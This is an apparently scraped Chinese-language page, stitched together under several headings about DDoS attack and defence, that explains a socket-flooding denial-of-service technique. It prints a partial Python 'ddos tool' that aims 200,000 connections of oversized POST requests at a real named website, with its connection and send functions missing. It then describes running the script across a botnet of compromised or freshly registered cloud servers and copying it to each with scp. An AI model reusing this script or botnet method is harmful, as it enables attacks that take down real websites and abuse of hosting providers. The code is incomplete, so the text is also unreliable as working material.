DDOS原理讲解
史上最全DDoS攻击与防御教程
DDoS攻击的防护与本质解析
DDOS 攻击的防范教程
思想很简单,就是对构建多个socket链接后,并且每个socket对这个网站无限的发送信息,做一个死循环,疯狂攻击。以起到占用他们网站资源链接的效果。
#!/usr/bin/env python
import socket
import time
import threading
# Pressure Test,ddos tool
# ---------------------------
MAX_CONN = 200000 # 最大socket链接量
PORT = 80
HOST = "www.ssyer.com"
PAGE = "/photography"
buf = ("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE, HOST))
# 多线程执行两个函数
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
整合网络僵尸和DoS攻击——DDoS
如果觉得网络僵尸ping和简单的DoS还不够力,我们把上面的网络僵尸和DoS整合一下,成了传说中的DDos。
DDoS, Distributed Denial of Service, 分布式拒绝服务攻击,亦称作洪水攻击。DoS攻击与DDoS攻击的区别就是,它是一对一的攻击,而DDoS是分布式的攻击。
改进之处:
整合网络僵尸和DoS攻击;
实现每个肉鸡进行多线程Dos攻击botnetCommand(‘python Dos_constantConn_MutilThread.py’);
前提条件:
你要有不止一台可以做肉鸡的网络服务器(可以到阿里云、腾讯云、华为云多注册几台云服务器,当肉鸡)。
而且每个肉鸡客户端都可以运行python(一般linux服务器都自带python运行环境)。
程序可能问题:
有时把dos.py程序批量发到各个肉鸡服务器可能不成功,需要手工先发过去:scp dos.py root@127.0.0.1:~/